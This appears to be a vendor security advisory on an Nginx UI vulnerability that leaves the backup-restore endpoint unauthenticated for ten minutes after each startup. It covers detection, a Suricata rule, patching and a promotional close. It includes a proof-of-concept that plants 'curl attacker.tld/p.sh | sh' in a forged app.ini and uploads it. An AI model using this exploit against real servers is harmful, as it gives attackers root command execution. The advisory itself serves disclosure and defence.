CVE-2026-42238 (CVSS 9.8) is one of the most peculiar vulnerabilities of the month: a 10-minute window after every Nginx UI startup during which the /api/restore endpoint is completely unauthenticated. An attacker can upload a forged backup archive, overwriting app.ini and the SQLite database, and trigger arbitrary command execution as root — typically inside the Docker container — after the automatic restart.
Because everybody restarts their services regularly (updates, kubelet health checks, cluster upgrades), the window re-opens on every event. This is a patient-exploitation vulnerability: just wait.
Technical Details
Vulnerable component
Nginx UI exposes a POST /api/restore endpoint meant to restore a previously exported backup. To facilitate first launch (situation where no admin account exists yet), the developers decided this endpoint does not require authentication during the first 10 minutes after the process starts.
The problem: this window applies to every restart, not only the first one. And the uploaded archive overwrites two critical files:
app.ini— Nginx UI configuration, containing aTestConfigCmdparameter (command run to validate the Nginx config)database.db— SQLite database holding user accounts, sessions, and secrets
The attacker can therefore:
- Craft an archive with an
app.iniwhoseTestConfigCmdpoints to a malicious command (bash -c 'curl attacker.com/p.sh | sh') - Upload it via
POST /api/restoreduring the 10-minute window - Nginx UI automatically restarts to apply the new config
- A request triggering
TestConfigCmd(typically a config check) executes the injected command
In Docker deployments (the vast majority), the process runs as root in the container. The attacker gets a root shell inside the container, then pivots by exploiting exposed capabilities/volumes/sockets.
Characteristics
| Field | Value |
|---|---|
| CVSS 3.1 | 9.8 (CRITICAL) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-306 (Missing Authentication) + CWE-78 (OS Command Injection) |
| Authentication | None during the first 10 minutes after start |
| Privileges obtained | root inside the container |
Affected Products and Versions
| Product | Affected versions | Patched version |
|---|---|---|
| Nginx UI | < 2.3.8 | 2.3.8 |
Check your version:
# Docker
docker exec nginx-ui /app/nginx-ui --version
# Or via the API
curl -s http://nginx-ui.local:9000/api/system/info | jq .version
Exploitation and Impact
Realistic scenario
Picture a typical deployment: Nginx UI runs in Kubernetes, managing the cluster's ingress reverse proxy. The pod restarts once a day (rolling update, image pull, OOM). On every restart, 10 minutes of full exposure. The attacker scans the instance in a loop; as soon as they observe an open window, they fire the exploit within seconds.
PoC concept
# 1. Prepare the malicious archive with a booby-trapped app.ini
mkdir restore-payload
cat > restore-payload/app.ini << 'EOF'
[nginx]
TestConfigCmd = bash -c "curl -s attacker.tld/p.sh | sh"
EOF
cd restore-payload && tar czf ../malicious-backup.tar.gz .
# 2. Upload during the 10-min window
curl -X POST "http://nginx-ui.victim/api/restore" \
-F "file=@malicious-backup.tar.gz"
# 3. The automatic restart + a /config/test request fire the command
Post-compromise impact
- Full Nginx UI takeover: reverse-proxy modification, redirection of all traffic to an attacker-controlled proxy
- TLS certificate theft stored by Nginx UI
- LAN pivot from the container (depending on Docker/K8s isolation)
- HTTPS interception of all traffic flowing through managed Nginx instances
- Persistence: configuration tampering to maintain access even after patching
Detection and IOCs
Nginx UI logs
Enable access logging and monitor:
# Search Nginx UI logs
grep "POST /api/restore" /var/log/nginx-ui/access.log
Indicators:
- Any call to
POST /api/restoreis suspect (rarely used in production) - Correlation: a call to
/api/restoreshortly followed by a service restart - Unexpected files appearing in the Nginx UI volume
System logs
# Check recent Nginx UI restarts
journalctl -u nginx-ui --since "1 hour ago" | grep -i "start"
# Docker
docker logs --since 1h nginx-ui | grep -E "starting|listening"
Integrity check
Compare hashes of app.ini and database.db against a known-good backup:
sha256sum /etc/nginx-ui/app.ini
sha256sum /var/lib/nginx-ui/database.db
Any change not aligned with a legitimate admin operation = likely compromise.
Suricata rule
alert http any any -> $NGINX_UI_IPS any \
(msg:"Nginx UI CVE-2026-42238 restore endpoint access"; \
http.uri; content:"/api/restore"; http.method; content:"POST"; \
sid:2026042238; rev:1;)
Mitigation and Patch
Immediate action: patch to 2.3.8
# Docker
docker pull uozi/nginx-ui:2.3.8
docker compose up -d
# Helm Kubernetes
helm upgrade nginx-ui uozi/nginx-ui --version <chart>
Temporary workaround (if patching is delayed)
- Block access to
/api/restoreat an upstream reverse proxy:
location /api/restore {
deny all;
return 403;
}
location / {
proxy_pass http://nginx-ui-backend;
}
- Restrict network access: don't expose Nginx UI to the internet (VPN, IP allowlist)
- Actively monitor service restarts and access to
/api/restore
Long-term hardening post-patch
- Rotate Nginx UI admin credentials
- Regenerate TLS certificates managed by Nginx UI
- Audit all reverse proxy configurations for stealthy modifications
- Enable 2FA if supported by your version
Why Continuous Monitoring of DevOps Stacks Matters
Web admin tools (Nginx UI, Portainer, Yacht, CasaOS, Dockge…) are massively deployed in homelabs, SMBs, and even production, but rarely integrated into vulnerability inventories. A recurring exposure window like CVE-2026-42238 — re-opening on every restart — perfectly illustrates the need for continuous monitoring rather than point-in-time scans.
With cveo.tech, inventory your DevOps tooling and get automatic alerts the moment a critical CVE targets one of your exact versions — including community tools often ignored by traditional scanners.